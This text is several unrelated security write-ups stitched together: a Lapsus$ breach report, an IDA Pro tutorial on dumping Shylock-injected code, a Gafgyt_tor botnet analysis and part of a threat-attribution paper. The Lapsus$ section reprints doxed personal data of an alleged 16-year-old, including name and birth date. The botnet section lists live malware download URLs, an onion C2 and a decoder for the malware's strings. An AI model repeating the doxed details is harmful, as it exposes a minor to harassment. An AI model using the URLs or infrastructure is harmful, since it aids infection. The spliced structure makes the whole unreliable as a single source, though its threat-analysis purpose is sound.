“After a thorough analysis of these claims, we have concluded that a small percentage of customers – approximately 2.5% – have potentially been impacted and whose data may have been viewed or acted upon. We have identified those customers and are contacting them directly.”
In response, the Lapsus$ group summarized their claims:
- They successfully breached a Superuser/Admin account that had access to Slack, Jira, Confluence boards, etc.
- The customer support engineer had access to ~8.6k Slack channels and internal applications.
- They accessed internal AWS secret and key pairs/other API keys shared in plain text over Slack and emails.
- The breached account had the ability to reset the password and MFA of ~95% of their clientele.
### Globant Leak Analysis
Globant confirmed the claim of Lapsus$:
“We have recently detected that a limited section of our company’s code repository has been subject to unauthorized access. We have activated our security protocols and are conducting an exhaustive investigation. According to our current analysis, the information that was accessed was limited to certain source code and project-related documentation for a very limited number of clients. To date, we have not found any evidence that other areas of our infrastructure systems or those of our clients were affected.”
The 70 GB data leak contains public and private keys (SSH and SSL) as part of their source code.
### Information from the Cyber Crime Forum
Lapsus$ ransomware group emerged in early January 2022. The group operates over their Telegram channel and engages with subscribers, keeping them updated on upcoming data breaches. Recently, a post on a Russian-speaking cybercrime forum mentioned PII as the operator of the Lapsus$ group.
**Doxed Information:**
- Name: Arion Kurtaj
- Interests: Minecraft, Fishing, selling 0days
- Age: 16 years
- Potential Address: Spain
- Nationality: British
- DOB: February 19th, 2005
- Personal Emails: [multiple emails listed]
### Common Vulnerabilities and Exposures (CVE)
Lapsus$ gang previously targeted an organization in Nepal, and an investigation blog was published mentioning the targeted CVEs.
**CVEs targeted by Lapsus$:**
- CVE-2022-21702: XSS vulnerability in Grafana
- CVE-2022-0510: XSS reflected in Packagist pimcore/pimcore prior to 10.3.1.
- CVE-2022-0139: Use After Free in GitHub repository radareorg/radare2
- CVE-2021-45328: URL Redirection to Untrusted Site via internal URLs
- CVE-2021-45327: Trusting HTTP Permission Methods on the Server
- CVE-2021-45326: CSRF vulnerability exists in Gitea before 1.5.2 via API routes
- CVE-2021-45325: SSRF vulnerability exists in Gitea before 1.7.0 using the OpenID URL
- CVE-2021-44957: Global buffer overflow vulnerability exists in ffjpeg through 01.01.2021
- CVE-2021-44956: Two Heap based buffer overflow vulnerabilities exist in ffjpeg through 01.01.2021
- CVE-2021-34473: Microsoft Exchange Server Remote Code Execution Vulnerability
- CVE-2021-31207: Microsoft Exchange Server Security Feature Bypass Vulnerability
- CVE-2021-26858: Microsoft Exchange Server Remote Code Execution Vulnerability
- CVE-2021-26857: Microsoft Exchange Server Remote Code Execution Vulnerability
- CVE-2021-26855: Microsoft Exchange Server Remote Code Execution Vulnerability
- CVE-2020-23852: A heap based buffer overflow vulnerability exists in ffjpeg through 2020-07-02
- CVE-2020-23705: A global buffer overflow vulnerability through 2020-06-22
- CVE-2020-12812: An improper authentication vulnerability in SSL VPN in FortiOS
- CVE-2019-5591: A Default Configuration vulnerability in FortiOS
- CVE-2018-13379: An Improper Limitation of a Pathname to a Restricted Directory in Fortinet
### Indicators of Compromise (IoCs)
Nvidia was targeted by the Lapsus$ group last month. Subsequently, malware samples began to appear in the wild, signed with Nvidia certificates. Some of these samples have very low detection on VirusTotal due to the legitimate certificates attached.
**Malware samples signed with stolen certificates:**
- SHA256: [multiple hashes listed]
- IPv4: [multiple IPs listed]
- Domain: lapsus-group.com, [email protected]
### Impact & Mitigation
**Impact:**
The published credentials could enable other threat actors to gain access to the organization’s networks. The exposed PII could enable threat actors to orchestrate social engineering schemes, phishing attacks, and even identity theft. Since password reuse is common, threat actors could leverage the exposed credentials to gain access to users’ other accounts. Exposed IP addresses and login credentials can lead to potential account takeovers. The exposed confidential details could reveal business practices and intellectual property.
**Mitigation:**
- Reset the compromised user login credentials.
- Implement a strong password policy for all user accounts.
- Check for possible workarounds and patches while keeping the ports open.
- Use MFA (multi-factor authentication) across logins.
- Patch all vulnerable and exploitable endpoints.
- Monitor for anomalies in user accounts and systems that could indicate possible takeovers. |
# Debugging Injected Code with IDA Pro
Hello all! Today I wanted to talk about how you go about debugging/analyzing injected code. In today’s malware environment, a lot of malicious code doesn’t sit resident in memory in the context of its own process. Back in the day, you could look at task manager and recognize some weird executable that didn’t belong. Those days are mostly over. The newer malware classes will typically inject malicious code and hook DLLs in legitimate looking processes (explorer.exe, winlogon.exe, svchost.exe, etc.) to evade detection. This makes analyzing malware trickier as you need a wider skill set than opening up a bad binary in IDA. I’m going to shed some light on that process when you run into this type of malware.
First off, we need to find some malware that uses code injection. Code injection is usually done through the WriteProcessMemory API call through Windows. I’ve provided a sample here which just happens to be the Shylock malware that was posted recently at Contagio. Download to follow along (the password is infected). This executable injects code into the explorer.exe process of the target machine (XP SP3 OS running on VirtualBox). This is what we will be working with if you want to follow along. Now I haven’t done a complete in-depth analysis on this yet (it’s coming) but I suspect there isn’t any VM breakout that will totally hose your host OS. If there is, well sorry bout that! 😛 You need to also make sure your VM is accessible from your host machine. I used ‘Host-Only Networking‘ and made sure the guest was accessible from my host box.
So once you have your VM up (and it has an IP you can reach from your host box), you’ll need to copy over to the share a file that exists in your IDA Pro file to enable remote debugging. The file is “win32_remote.exe”. This is a server that allows IDA to connect up to a port on a remote server debugging to debug across the world or across memory in the sense of a VM. Now one caveat with this program is that it only allows one debugging session per server (depending on version; newer versions of IDA support multiple debugging sessions over the same port). So if you want to debug two programs at the same time (which we will be doing), you need two instances of this running on different ports. You specify the port with the -p flag and there are no spaces after the -p switch, so if you want to set it up on port 1000 you’d run “win32_remote -p1000” from the command line. Tiga also has posted a video tutorial about remote debugging with IDA. His entire tutorial series is very good.
Open up IDA Pro and Run -> Remote Win32 Debugger. Make sure your connection/paths are correct. Click ok and you’ll break at the entry point of the module.
Now we’re going to set a breakpoint at WriteProcessMemory() (In IDA that equates to kernel32_WriteProcessMemory. From here on out it will be referred to as WriteProcessMemory). Hit F9 to go and it breaks on WriteProcessMemory(). (How did I know how to break here? I reversed the program roughly to get a feel for the program from the beginning up until this point.)
Now the code injection routine is a separate link here. It shows why we want to break on WriteProcessMemory(). There are a few basic methods on how to inject code into a process that is not yours on Windows. Here is a good breakdown describing those methods. Most of the tactics revolve around the WriteProcessMemory system call. This particular piece of malware uses the third type of injection mentioned in the CodeProject article. Before this specific function was reached, the malware took a snapshot of the system state and iterated through the processes until it found explorer.exe, then called this function.
So the short version of the disassembly is that it opens the target process, allocates some memory inside the process, writes memory that was allocated (repeats 3 times), then starts a remote thread to execute this new code, waits for the thread to exit, then cleans up handles. The reason three sections of memory are mapped into the target process is there is a loader there that reconstructs a DLL in memory that is allocated inside Explorer. This happens all before the exit status code is returned from the thread and the code is successfully injected.
Let’s fire up another IDA instance and use the Attach -> Remote Win32 Debugger and put in the port for the second server that was different than the first. Hit ok, then we should see a process listing and let’s choose our injected process (explorer.exe) from the menu. If you took note of the injected code locations from CreateRemoteThread structure.
```c
HANDLE WINAPI CreateRemoteThread(
__in HANDLE hProcess,
__in LPSECURITY_ATTRIBUTES lpThreadAttributes,
__in SIZE_T dwStackSize,
__in LPTHREAD_START_ROUTINE lpStartAddress,
__in LPVOID lpParameter,
__in DWORD dwCreationFlags,
__out LPDWORD lpThreadId
);
```
We can mark this location with a breakpoint once we attach to explorer.exe (before the thread is started but after the memory was written). Then we hit run in the shylock.exe (injector process) and then we should have a breakpoint hit in explorer.exe and sure enough we do. We can continue on reversing from here but let’s dump this segment and save it so we can annotate our debugging sessions and build on this previous knowledge. The way we can do this in IDA is take a memory snapshot. We have to View -> Open Subviews -> Segments so that we can view a memory map. Noting our addresses from WriteProcessMemory, we need to change those segments to Loader segments. Next up, go to Debugger and take a memory snapshot and choose only Loader Segments. If you notice in our column, our only dump will be of the three sections we marked ‘Loader’ segment. If you don’t mark them as Loader segments, IDA will ignore them and exclude them from putting them into the database/idb. Here you have it and that’s how you dump injected code from any process with IDA Pro. Hope you enjoyed reading this article. |
# Gafgyt_tor and Necro are on the move again
**Overview**
Since February 15, 2021, 360Netlab's BotMon system has continuously detected a new variant of the Gafgyt family, which uses Tor for C2 communication to hide the real C2 and encrypts sensitive strings in the samples. This is the first time we found a Gafgyt variant using the Tor mechanism, so we named the variant Gafgyt_tor. Further analysis revealed that the family is closely related to the Necro family we made public in January, and is behind the same group of people, the so-called keksec group. In this blog, we will introduce Gafgyt_tor and sort out other recent botnets operated by this group.
The key points of this article are as follows:
1. Gafgyt_tor uses Tor to hide C2 communication, over 100 Tor proxies can be built in, and new samples are continuously updating the proxy list.
2. Gafgyt_tor shares the same origin with the Gafgyt samples described by the keksec group; the core function is still DDoS attacks and scanning.
3. The keksec group reuses the code between different bot families.
4. In addition, the keksec group also reuses a bunch of IP addresses for a long time.
## Sample Analysis
### Propagation
The currently discovered Gafgyt_tor botnet is mainly propagated through Telnet weak passwords and the following three vulnerabilities:
- D-Link RCE (CVE-2019-16920)
- Liferay Portal RCE
- Citrix CVE-2019-19781
### Encryption
Gafgyt_tor integrates a replacement encryption algorithm for encrypting C2 and sensitive strings to counter detection and static analysis. Sensitive strings include commands, IPC pathnames, DDoS-related attack strings, etc.
The following is a comparison of ciphertext and plaintext C2.
**Ciphertext**
`'"?>K!tF>iorZ:ww_uBw3Bw'`
**Plaintext**
`'wvp3te7pkfczmnnl.onion'`
The Gafgyt_tor variants we detected so far all use the same C2 `wvp3te7pkfczmnnl.onion`. Some of the cipher decryption results are as follows:
**Commands**
```
~-6mvgmv - LDSERVER
1-| - UDP
cD| - TCP
ej~- - HOLD
51,U - JUNK
c~6 - TLS
6c- - STD
-,6 - DNS
6D7,,mv - SCANNER
j, - ON
jdd - OFF
jge - OVH
.~7DU,1v6m - BLACKNURSE
```
**DDoS-related attack**
```
7~~ - ALL
6p, - SYN
v6c - RST
dx, - FIN
7DU - ACK
|6e - PSH
```
**Scan-related**
```
aDbwwtr3bw - WChnnecihn
aQuq - W.1
aEcc - WxTT
74tw! - Agent
1;t= - User
```
**Misc**
```
|x,< - PING
=ru_Brf_ - rc.local
```
The following is the Python decryption code we wrote based on the inverse results.
```python
def decode(encoded, encodes):
idx = 0
decodes = b'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ. '
decoded = bytearray()
while (idx < len(encoded)):
for table_idx in range(0, 64):
if encoded[idx] == encodes[table_idx]:
decoded.append(decodes[table_idx])
idx += 1
print(decoded)
encodes = b'%q*KC)&F98fsr2to4b3yi_:wB>z=;!k?"EAZ7.D-md<ex5U~h,j|$v6c1ga+p@un'
encoded_cc = b'"?>K!tF>iorZ:ww_uBw3Bw'
decode(encoded_cc, encodes)
```
### Communication
Compared with other Gafgyt variants, the biggest change of Gafgyt_tor is that the C2 communication is based on Tor, which increases the difficulty of detection and blocking. The Tor-based C2 communication mechanism has been seen in other families we have analyzed before (Matryosh, leethozer, moobot), but this is the first time we encountered it in the Gafgyt family.
### Code changes
Compared with other versions, the code structure of the main function of Gafgyt_tor, which adds the Tor proxy function, has changed very much. The original `initConnection()` function, which is responsible for establishing the C2 connection, is gone, replaced by a large section of code responsible for establishing the Tor connection. The newly added Tor-related functions are as follows. Among them, `tor_socket_init` is responsible for initializing a list of proxy nodes, each containing an IP address and a port.
Our analysis shows that the number of proxy nodes integrated in each sample is always 100+, with a maximum of 173. After initializing the proxy list, the sample will select a random node from the list to enable Tor communication via `tor_retrieve_addr` and `tor_retrieve_port`. After establishing a connection with the Tor proxy, Gafgyt_tor starts requesting `wvp3te7pkfczmnnl.onion` through the darknet waiting for instructions. This C2 address has not changed in the samples we have analyzed, but the communication port is continuously changing.
### The command
The core function of Gafgyt_tor is still DDoS attack and scanning, so it mostly follows the common Gafgyt directive. A new directive called `LDSERVER` has been added. C2 can specify the download server used in Gafgyt_tor's exploit through this directive. This directive means that C2 can dynamically switch download servers, so that it can quickly switch to a new download server to continue propagation if the current one is blocked.
### Some other things
Gafgyt_tor uses a few uncommon coding tricks in addition to the modification of the communication function.
**Singleton mode**
Single instance mode is implemented using Unix domain sockets (an IPC mechanism), which requires a pathname to be specified, which is also encrypted. As shown below, `k4=f2t` is decrypted to `upgrade`.
**Function name obfuscation**
None of the Gafgyt_tor samples we collected have been stripped, so the complete symbolic information is preserved in the samples. Most of the samples are scanned and propagated using a function named `ak47Scan`. In the sample captured on February 24, we found that the function name was obfuscated as a random string, so it can be assumed that the sample is in an active development stage and the authors are gradually strengthening Gafgyt_tor's ability to counter analysis and detection.
### Sample origin
While analyzing the IoC of Gafgyt_tor, we noticed that a download server IP `45.145.185.83` was used by Necro botnet, which appeared in early January this year. `gxbrowser.net` is one of Necro's 3 C2s, and the above image shows that it has resolved to this download server IP of Gafgyt_tor several times. Further analysis shows that this IP and another Necro C2 IP `193.239.147.224` were also used as C2 by other versions of Gafgyt and Tsunami botnet in early February, which apparently share code with Gafgyt_tor.
1. Both have decryption functions named `decode`, with identical code structures.
2. Both have scan functions named `ak47scan` and `ak47telscan`.
Their `decode` function differs only in the code table.
**Code table in the Gafgyt sample**
`'%q*KC)&F98fsr2to4b3yi_:wB>z=;!k?"EAZ7.D-md<ex5U~h,j|$v6c1ga+p@un'`
**Code table in Tsunami sample**
`'xm@_;w,B-Z*j?nvE|sq1o$3"7zKC<F)utAr.p%=>4ihgfe6cba~&5Dk2d!8+9Uy:0'`
The following figure is a comparison of their `ak47scan()` functions; you can see that the function and structure are actually similar, but there are changes in the way it runs and the ports it scans.
Based on the binary characteristics of the `decode()` and `ak47scan()` functions mentioned above, we found more such Tsunami and Gafgyt samples in our sample database, which are characterized as follows:
1. Tsunami samples appear in mid-August 2020 and are active for a short period of time.
2. Gafgyt samples were spreading intermittently from September to December 2020.
3. From early to mid-February, first Tsunami samples resumed propagation, then Gafgyt, followed by Gafgyt_tor.
4. There are many similarities between the currently spreading Gafgyt_tor variants and the previously captured Gafgyt samples, and the code is clearly of the same origin.
5. These variants of botnet frequently reuse the same download server and C2 IP.
We can see that there was no update in January this year; we guess because the authors focused their efforts on Necro. In terms of binary characteristics, there is no similarity with Gafgyt_tor as Necro is written in Python, but we see there are some commonalities in propagation methods:
1. Both changed different exploits in a short period of time, presumably to improve the propagation effect.
2. Both adopted the "develop-and-distribute" approach to continuously improve the botnet function, resulting in a large number of different samples being distributed in a short period of time.
Based on the above analysis, we think that Gafgyt_tor and Necro are very likely operated by the same group of people, who have a pool of IP addresses and multiple botnet source codes, and have the ability of continuous development. In actual operation, they form different families of botnets but reuse infrastructure such as IP addresses. For example, the above-mentioned IP `45.145.185.83` acts as different C2 for different botnets since the end of last year.
### Conclusions about the group:
1. They have at least the source code for Necro, Gafgyt, and Tsunami.
2. They continue to upgrade and rotate the botnets in their hands.
3. They have a pool of IP address resources and reuse them in different botnets.
4. The group also keeps up with n-day vulnerabilities in IoT and uses them promptly to facilitate their own botnets.
### IoC
**MD5**
- **Tsunami**
`3ab32e92917070942135f5c5a545127d`
- **Gafgyt**
`f1d6fbd0b4e6c6176e7e89f1d1784d14`
- **Gafgyt_tor**
`eb77fa43bb857e68dd1f7fab04ed0de4`
`dce3d16ea9672efe528f74949403dc93`
`bfaa01127e03a119d74bdb4cb0f557ec`
`a6bdf72b8011be1edc69c9df90b5e0f2`
`5c1153608be582c28e3287522d76c02f`
`54e2687070de214973bdc3bc975049b5`
`b40d8a44b011b79178180a657b052527`
`1cc68eb2d9713925d692194bd0523783`
`94a587198b464fc4f73a29c8d8d6e420`
`2b2940d168a60990377fea8b6158ba22`
`56439912093d9c1bf08e34d743961763`
`2d6917fe413163a7be7936a0609a0c2d`
`8cd99b32ec514f348f4273a814f97e79`
`1c966d79319e68ccc66f1a2231040adb`
`47275afdb412321610c08576890093d7`
`3c5758723980e6b9315ac6e6c32e261d`
`980d4d0ac9335ae1db6938e8aeb3e757`
`513bc0091dfa208249bd1e6a66d9d79e`
`8e551c76a6b17299da795c2b69bb6805`
`61b93c03cb5af31b82c11d0c86f82be1`
`69cab222e42c7177655f490d849e18c5`
`7cbdd215e7f1e17fc589de2df3f09ac9`
`6b631fed1416c2cd16ca01738fdfe61a`
`90a716280fe1baee0f056a79c3aa724d`
`3b4f844c7dd870e8b8c1d5a397a29514`
`853dc777c5959db7056f64b34e938ba5`
`3eccab18fa690bbfdb6e10348bc40b02`
`e78e04aad0915f2febcbb19ef6ffc4fe`
`b99115a6ea41d85dea5c96d799e65353`
`4b95dfc5dc523f29eebf7d50e98187c2`
`4c271f8068bc64686b241eb002e15459`
`843a7fec9a8e2398a69dd7dfc49afdd2`
`7122bcd084d2d0e721ec7c01cf2a6a57`
`10f6b09f88e0cf589d69a764ff4f455b`
`f91083e19eed003ac400c1e94eba395e`
**C2**
`wvp3te7pkfczmnnl.onion`
**Download URL**
```
http://45.153.203.124/bins/AJhkewbfwefWEFx86
http://45.153.203.124/bins/AJhkewbfwefWEFsh4
http://45.153.203.124/bins/AJhkewbfwefWEFmips
http://45.153.203.124/S1eJ3/lPxdChtp3zx86
http://45.153.203.124/S1eJ3/lPxdChtp3zsh4
http://45.153.203.124/S1eJ3/lPxdChtp3zppc-440fp
http://45.153.203.124/S1eJ3/lPxdChtp3zmpsl
http://45.153.203.124/S1eJ3/lPxdChtp3zmips
http://45.153.203.124/S1eJ3/lPxdChtp3zarm7
http://45.153.203.124/S1eJ3/lPxdChtp3zarm
http://45.145.185.83/bins/AJhkewbfwefWEFx86
http://45.145.185.83/bins/AJhkewbfwefWEFspc
http://45.145.185.83/bins/AJhkewbfwefWEFsh4
http://45.145.185.83/bins/AJhkewbfwefWEFppc
http://45.145.185.83/bins/AJhkewbfwefWEFmips
http://45.145.185.83/bins/AJhkewbfwefWEFi586
http://45.145.185.83/bins/AJhkewbfwefWEFarm7
http://45.145.185.83/bins/AJhkewbfwefWEFarm
http://45.145.185.83/S1eJ3/lPxdChtp3zsh4
http://45.145.185.83/S1eJ3/lPxdChtp3zmpsl
http://45.145.185.83/S1eJ3/lPxdChtp3zmips
http://45.145.185.83/S1eJ3/lPxdChtp3zi686
http://45.145.185.83/S1eJ3/lPxdChtp3zbsd
http://45.145.185.83/S1eJ3/lPxdChtp3zarm7
http://45.145.185.83/S1eJ3/lPxdChtp3zarm64
http://45.145.185.83/S1eJ3/lPxdChtp3zarm
http://45.145.185.83/S1eJ3/IObeENwjx86
http://45.145.185.83/S1eJ3/IObeENwjmips
http://45.145.185.83/S1eJ3/IObeENwjarm5
http://45.145.185.83/S1eJ3/IObeENwjarm4
http://45.145.185.83/S1eJ3/IObeENwjarm
```
**Tor Proxy**
```
103.125.218.111
103.125.218.111
103.82.219.42
104.155.207.91
104.224.179.229
107.20.204.32
111.90.159.138
116.202.107.151
116.203.210.124
116.203.210.124
116.203.210.124
116.203.210.124
116.203.210.124
119.28.149.37
128.199.45.26
130.193.56.117
134.122.4.130
134.122.4.130
134.122.59.236
134.122.59.236
134.122.59.236
134.209.230.13
134.209.249.97
135.181.137.237
138.68.6.227
139.162.149.58
139.162.32.82
139.162.42.124
139.99.239.154
142.47.219.133
143.110.230.187
145.239.83.129
146.59.156.72
146.59.156.76
146.59.156.77
146.66.180.176
148.251.177.144
157.230.27.96
157.230.98.211
157.230.98.77
158.174.108.130
158.174.108.130
158.174.108.130
158.174.108.130
158.174.108.130
158.174.108.130
158.174.108.130
158.247.211.132
159.65.69.186
159.69.203.65
159.69.203.65
159.89.19.9
161.35.84.202
165.22.194.250
165.22.94.245
167.172.123.221
167.172.173.3
167.172.177.33
167.172.178.215
167.172.179.199
167.172.180.219
167.172.190.42
167.233.6.47
167.71.236.109
168.119.37.152
168.119.37.152
168.119.37.152
168.119.37.152
168.119.37.152
168.119.61.251
172.104.240.74
172.104.4.144
176.37.245.132
178.62.215.4
18.191.18.101
18.229.49.115
185.105.237.253
185.106.121.176
185.106.122.10
185.128.139.56
185.180.223.198
185.18.215.170
185.18.215.178
185.212.128.115
185.212.128.115
185.212.128.115
185.212.128.115
185.212.128.115
185.212.128.115
185.217.1.30
188.127.231.152
188.165.233.121
188.166.17.35
188.166.34.137
188.166.79.209
188.166.79.209
188.166.80.74
188.166.82.232
188.166.82.232
188.227.224.110
188.68.52.220
192.46.209.98
192.99.169.229
193.123.35.48
193.187.173.33
195.123.222.9
195.93.173.53
197.156.89.19
198.27.82.186
198.74.54.182
199.247.4.110
201.40.122.152
20.52.130.140
20.52.130.140
20.52.130.140
20.52.147.137
20.52.37.89
20.52.37.89
206.81.17.232
206.81.27.29
212.71.253.168
212.8.244.112
217.12.201.190
217.12.201.190
217.12.201.190
217.144.173.78
217.170.127.226
217.61.98.33
34.239.11.167
35.189.88.51
35.192.111.58
35.192.111.58
37.200.66.166
3.91.139.103
45.33.45.209
45.33.79.19
45.33.82.126
45.79.207.110
45.81.225.67
45.81.225.67
45.81.226.8
45.81.226.8
45.81.226.8
45.92.94.83
46.101.156.38
46.101.159.138
47.90.1.153
49.147.80.102
50.116.61.125
5.100.80.141
51.11.240.222
51.11.240.222
51.116.185.181
51.116.185.181
51.195.201.47
51.195.201.50
5.167.53.191
51.68.191.153
51.75.161.21
51.83.185.71
51.83.186.137
51.89.165.233
52.47.87.178
5.63.13.54
66.42.34.110
68.183.67.182
68.183.82.50
79.124.62.26
80.251.220.190
8.210.163.246
8.210.163.246
87.236.215.248
88.198.167.20
88.198.167.20
91.236.251.131
94.23.40.220
95.179.163.1
95.179.163.1
95.179.163.1
95.179.163.1
95.179.164.28
95.179.164.28
95.179.164.28
95.188.93.135
95.216.123.39
95.216.137.149
95.217.27.5
```
### References
- https://blog.netlab.360.com/necro/
- https://mp.weixin.qq.com/s/D30y0qeicKnHmP9Kad-pmg
- https://research.checkpoint.com/2021/freakout-leveraging-newest-vulnerabilities-for-creating-a-botnet/ |
# Introduction
Few topics in the field of Cyber Threat Intelligence (CTI) prompt as much passion and debate as the concept of threat attribution. From numerous conference talks to blogs and papers, to various applications in CTI analysis, the question of threat attribution repeatedly emerges. While CTI attribution discussions can take many forms and aim at specific audiences—for example, policy-makers and state strategy—this discussion will focus on the technical analyst’s perspective. In adopting this viewpoint, the question of attribution typically manifests in a very binary fashion. Whereas attribution, as described below, represents various gradations, most discussion limits itself to “yes or no” discussions as to the value and need for CTI attribution, when the actual answer (as with most things in CTI) is, “it depends.”
In this paper, a concept of attribution that moves the CTI community away from binary conceptions of CTI attribution value and instead approaches a continuum of attribution types will be introduced. In doing so, multiple possibilities emerge for CTI attributive statements, with different values and significance for different parties—as well as different degrees of relevance for those who wish to make such statements. Through this discussion, the relative value of different types of statements will be examined. Additionally, critical consideration will be applied to why some positions along the emerging continuum of attribution types may be less than desirable for all parties, and ultimately best avoided.
## Defining an Attribution Continuum
At present, no shortage exists of discussions on CTI attribution. From brief, general media overviews to multiple in-depth academic works to vendor-specific methodology discussions, various perspectives exist on the subject of how and why to perform CTI attribution. Yet common to nearly all these approaches is a focus on a binary perspective with respect to the value of attribution: whether such activity is desirable, or should be ignored. This view results in a false dichotomy of either an “all in” approach of threat actor attribution or ignoring the subject as either not useful for defenders, or not possible for most CTI analysts.
Resulting debates differentiate between attribution as a way of identifying perpetrators and actors responsible for given cyber operations, and more behavior-centric clustering of identified activity to delineate sets of common tactics, techniques, and procedures (TTPs). This separation of behavioral clustering from “attribution” is reflected in academic literature, where attribution is frequently defined in the following, “who-centric” manner:
> “[A]ttribution” [is] “determining the identity or location of an attacker or an attacker’s intermediary.” A resulting identity may be a person’s name, an account, an alias, or similar information associated with a person. A location may include physical (geographic) location, or a virtual location such as an IP address or Ethernet address.
This view of attribution—focusing on the definition of a specific organization or even person behind operations as well as characteristics of that organization—seems far too narrow to reflect operational realities for the overall concept. If we instead adopt a perspective where “attribution” represents the identification or classification of an incident to a given entity where the entity is a flexible identifier ranging from “how-centric” attribution, linking observations to clusters of similar behaviors or TTPs, to very specific “who-focused” attribution, referencing a specific person or organization, multiple possibilities emerge. In adopting this view, analysts approach a range of attribution options which can be mapped to a continuum.
### Behavioral Attribution
The left pole of the attribution continuum focuses primarily on technical observables and evidence. Related items include malware samples, network infrastructure, logs and system artifacts, and similar observations. Residing within technical observations and observed activities, this type of attribution centers on how a given event took place while abstracting away from who might be responsible. Network defenders as well as CTI vendors and analysts will typically reside primarily in this realm, as the majority of (if not all) available evidence relating to cyber operations typically resides in this region.
Clustering related activity based on technical observations, behaviors, or TTPs represents a fundamental element of cybersecurity, and is applied by multiple vendors and analysts when generating intelligence products. Central to the concept is remaining faithful to the evidence on hand, and not projecting further than available information allows. In this fashion, Behavioral Attribution—though still quite complex and often difficult to execute in practice—remains both grounded in existing observations while remaining accessible to a variety of parties. Typical names for Behavioral Attribution include activity groups, behavioral clusters, and similar nomenclature.
Importantly, the resulting names and “designators” assigned to the resulting clusters are representative of an analytical methodology—how the observations were clustered—as opposed to any inherent attribute of the responsible party. Thus the names and cryptonyms used by vendors and analysts in Behavioral Attribution are meaningful primarily in the sense of acting as placeholders. An APT number or adjective describing a behavioral cluster simply reflects the collection of evidence and the methodology used to link observations, rather than adhering to the specific entity or party responsible for creating the observations in the first place.
Overall, Behavioral Attribution seeks to bucket and group observations as they are linked through technical analysis or observation within technical artifacts. As such, this type of attribution can be quite powerful in grouping similar activities while respecting the boundaries of available evidence. However, such an approach will, by definition, fail to generate any understanding as to the identity or motivations of the party responsible for a given operation. Certainly there is some scope to infer intentionality—for example, the presence of code designed to delete data, as in Shamoon, or a “ransomware” routine that does not allow for decryption, as seen in NotPetya, gives insight into adversary intent—but further links to purpose, desire, and motivation require inferences that are difficult to defend absent significant non-technical evidence.
### Primary Attribution
The right pole of the attribution continuum incorporates significant non-technical data to flesh out information about the perpetrators of a given cyber incident as opposed to details and aspects of the incident itself. Unlike Behavioral Attribution, this “who-centric” approach to attribution extends beyond technical observables to incorporate evidence relating to or describing the entity responsible.
Primary Attribution delves to the source of activity, rather than just its externally observable features. As such, Primary Attribution seeks to determine precisely who is responsible for a given event, potentially down to the identity of specific persons. The information required to make such assessments is difficult to gather, and in many cases not available to private parties. Occasionally CTI vendors are able to gather information allowing for Primary Attribution statements, such as Mandiant’s seminal APT1 report linking the identified activity to the People’s Liberation Army (PLA) Unit 61398. Other entities, such as Citizen Lab based at the University of Toronto or the Bellingcat organization, may also occasionally reach supportable Primary Attribution conclusions with respect to cyber activity. More often, the required information to link activity to specific organizations or persons resides in capabilities reserved for government use: law enforcement authorities such as warrants or subpoenas; lawful interception of communications; or Signals Intelligence (SIGINT) and Human Intelligence (HUMINT) collection and analysis conducted by intelligence agencies.
Central to these capabilities is the ability to move from technical observation to identification of a persona responsible for that activity. To satisfy the evidentiary needs of Primary Attribution, investigations must move into “who-focused” avenues where private entities not only are ill-equipped to operate, but often are prohibited from doing so by law. As a result, independent researchers and analysts often get the best glimpses of Primary Attribution statements through public releases by government entities in the form of indictments, sanctions, or similar actions specifying parties related to a given cyber operation. By correlating technical observations to the publicly documented incident, CTI analysts can perform transitive attribution through this available evidence to get close to Primary Attribution statements.
While Behavioral Attribution remains foremost in importance for frontline defenders, in that such an approach focuses on the actual how behind or shaping operations, Primary Attribution, when done well and properly, has significant benefits as well. When correctly performed with proper evidence, Primary Attribution can link events to specific groups or personas which allows for reasonable estimation of intention or purpose. When combined with technical observations, such visibility can be very powerful in enabling defender response. Yet given the evidentiary requirements of Primary Attribution, typically such information (and more importantly, finalized analysis) is not available until well after events have transpired, making this approach valuable but typically not applicable to operational network defense.
### General Attribution
Finally, while significant “left-” and “right-tail” space exists adjacent to the poles of Behavioral and Primary Attribution—where either some evidence exists to migrate slightly beyond behaviors, or not enough allows for definitive assignment to a specific group—a middle ground is also present. In this case, analysts move beyond pure technical observations, but lack the evidence necessary to link activity to a specific group, person, or related entity.
This middle ground typically represents the most accessible degree of “who-centric” attribution for most analysts and vendors. Yet its value is questionable, along with the possibility of allowing for assumptions and bias to leak into analysis. The easiest way to conceptualize this type of attribution, General Attribution, is through statements such as “this incident is linked to China” or “this event is tied to ransomware operators working out of Romania” or similar generic statements.
In addition to approaches where limited evidence or projections of intent allow migration from Behavioral Attribution toward General Attribution, it is also possible for attributive statements to degrade over time from Primary Attribution. In this scenario, an analyst encounters external evidence (an indictment, sanctions, or similar primary source evidence) enabling Primary Attribution statements related to specific activity. But, as illustrated in the above diagram, such statements are valid only for the activity covered by the given evidence and its circumstances. Subsequently, such evidence decays toward General Attribution statements where we can link subsequent activity to historical incidents tied to a specific party, but such links are no longer as firm as they were initially.
General Attribution claims identify a geographic region and potentially general interest, but fail to move beyond such statements to precise identification of responsible parties or motivations. While these may seem useful in providing rough guidance to what entity may be responsible for a given operation, such an approach carries significant and worrisome assumptions. Most importantly, this approach assumes that entities such as “China” or “Romanian criminal elements” are unitary actors with similar (if not identical) motivations and goals, when all available evidence indicates significant diversity among such higher-level groupings of cyber operators.
Just as a continuum exists reflecting degrees of attribution, we can also view state-directed cyber operations as residing along a continuum of motivations and degrees of responsibility. General Attribution to a diverse entity, such as a country, may generate headlines or a sense of satisfaction, but does little to further either tactical or even strategic planning against a given adversary.
Essentially, General Attribution represents a minimally-enriched “best guess” halfway mark toward more robust “who-based” Primary Attribution. Such statements may be supportable and defensible given evidence (e.g., activity identified is ultimately linked to a given state), but the utility of doing so is debatable while the scope for misinterpretation or assumption is concerningly high. While General Attribution statements are accessible to most analysts and organizations, their value, as will be demonstrated in greater detail below, is questionable for all parties with an interest in CTI attributive statements.
## Attribution Action Constraints
Attributive actions, although representing some degree of choice on the analyst’s part, also reflect degrees of constraint. Particularly, an analyst may wish to perform Primary Attribution, yet only possess technical evidence of the activity in question. In this case, irrespective of analyst desire, constraints should compel the analyst to focus on Behavioral Attribution. Yet the danger inherent to this situation is a migration to General Attribution as a “good enough” substitute for the rigors of Primary Attribution statements.
